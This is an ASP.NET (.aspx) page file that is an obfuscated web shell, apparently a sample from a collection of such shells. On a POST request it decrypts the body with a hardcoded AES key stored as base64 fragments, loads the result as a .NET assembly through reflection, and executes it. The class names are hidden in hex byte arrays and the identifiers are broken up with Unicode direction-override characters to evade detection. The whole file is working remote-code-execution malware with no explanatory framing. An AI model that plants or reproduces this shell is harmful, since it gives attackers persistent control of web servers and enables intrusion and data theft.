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webweb 2024-12-17 17:53:10 +00:00
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<head runat="server" />
<%
if (Req\u202Duest.HttpM\u202Dethod == "POST")
{
byte[] postD\u202Data = Req\u202Duest.Bina\u202DryRead(Re\u202Dquest.ContentL\u202Dength);
string reflectedA\u202DssemblyName = Sy\u202Dstem.Te\u202Dxt.Enco\u202Dding.ASC\u202DII.GetSt\u202Dring(new byte[] {0x53,0x79,0x73,0x74,0x65,0x6D,0x2E,0x52,0x65,0x66,0x6C,0x65,0x63,0x74,0x69,0x6F,0x6E,0x2E,0x41,0x73,0x73,0x65,0x6D,0x62,0x6C,0x79});
Typ\u202De loade\u202DdAssembly = Ty\u202Dpe.GetT\u202Dype(reflected\u202DAssemblyName);
Met\u202DhodInfo loadMeth\u202DodInfo = loaded\u202DAssembly.GetMe\u202Dthod("Load", new Type[] { typeof(byte[]) });
object load\u202DedInstance = loadMeth\u202DodInfo.Invo\u202Dke(null, new object[] { Decrypt(postData) });
Meth\u202DodInfo createMe\u202DthodInfo = loaded\u202DAssembly.GetMet\u202Dhod("CreateInstance", new Type[] { "".GetT\u202Dype() });
string defaultIns\u202DtanceName = Sys\u202Dtem.Te\u202Dxt.Enco\u202Dding.AS\u202DCII.GetSt\u202Dring(new byte[] { 0x55 });
object crea\u202DtedInstance = create\u202DMethodInfo.Inv\u202Doke(loadedInsta\u202Dnce, new object[] { defaultInsta\u202DnceName });
created\u202DInstance.Eq\u202Duals(this);
}
%>
<SCrIpT RunAT="server">
private string RetrieveEncr\u202DyptionKey()
{
string pa\u202Drt1 = "N2I4";
string par\u202Dt2 = "ZWViNTg0";
string par\u202Dt3 = "MTMyNjMx";
string par\u202Dt4 = "ZQ==";
return Encod\u202Ding.UT\u202DF8.GetS\u202Dtring(Con\u202Dvert.FromBas\u202De64String(pa\u202Drt1 + par\u202Dt2 + par\u202Dt3 + pa\u202Drt4));
}
private byte[] Decr\u202Dypt(byte[] encrypte\u202DdData)
{
string k\U0000202Aey = RetrieveE\U0000202AncryptionKey();
encryp\U0000202AtedData = Conv\U0000202Aert.FromBa\U0000202Ase64String(Sy\U0000202Astem.Te\U0000202Axt.Enc\U0000202Aoding.UT\U0000202AF8.GetS\U0000202Atring(encr\U0000202AyptedData));
using (Sys\U0000202Atem.Securi\U0000202Aty.Cr\U0000202Ayptography.Rijnda\U0000202AelManaged a\U0000202Aes = new Sys\U0000202Atem.Se\U0000202Acurity.Crypt\U0000202Aography.Rijndae\U0000202AlManaged())
{
aes.M\U0000202Aode = Sys\U0000202Atem.Secur\U0000202Aity.Cryptogra\U0000202Aphy.CipherM\U0000202Aode.EC\U0000202AB;
aes.K\U0000202Aey = En\U0000202Acoding.UTF\U0000202A8.GetBy\U0000202Ates(key);
aes.Padd\U0000202Aing = Sys\U0000202Atem.Secur\U0000202Aity.Cryptogr\U0000202Aaphy.PaddingMo\U0000202Ade.PKCS\U0000202A7;
return aes.Create\U0000202ADecryptor().TransformFina\U0000202AlBlock(encrypte\U0000202AdData, 0, encryp\U0000202AtedData.Len\U0000202Agth);
}
}
private byte[] Encrypt(byte[] plainData)
{
string ke\U0000202Ay = RetrieveEncry\U0000202AptionKey();
using (Syst\U0000202Aem.Sec\U0000202Aurity.Cryptogr\U0000202Aaphy.RijndaelM\U0000202Aanaged aes = new Syst\U0000202Aem.Secu\U0000202Arity.Crypto\U0000202Agraphy.RijndaelMana\U0000202Aged())
{
aes.Mode = Sys\U0000202Atem.Secu\U0000202Arity.Cryptogr\U0000202Aaphy.Ciphe\U0000202ArMode.E\U0000202ACB;
aes.Key = Enco\U0000202Ading.UTF\U0000202A8.GetBy\U0000202Ates(key);
aes.Padding = Syst\U0000202Aem.Securi\U0000202Aty.Cryp\U0000202Atography.PaddingM\U0000202Aode.PK\U0000202ACS7;
return Syst\U0000202Aem.Te\U0000202Axt.Encod\U0000202Aing.UTF\U0000202A8.GetB\U0000202Aytes(Conv\U0000202Aert.ToBase64\U0000202AString(ae\U0000202As.Creat\U0000202AeEncryptor().TransformF\U0000202AinalBlock(plainD\U0000202Aata, 0, plainD\U0000202Aata.Lengt\U0000202Ah)));
}
}
</SCrIpT>
<%--<%@ Page Language="" %>--%>
<%@ Import Namespace="System.Reflection" %>
<%@ Page Language="Cs" %>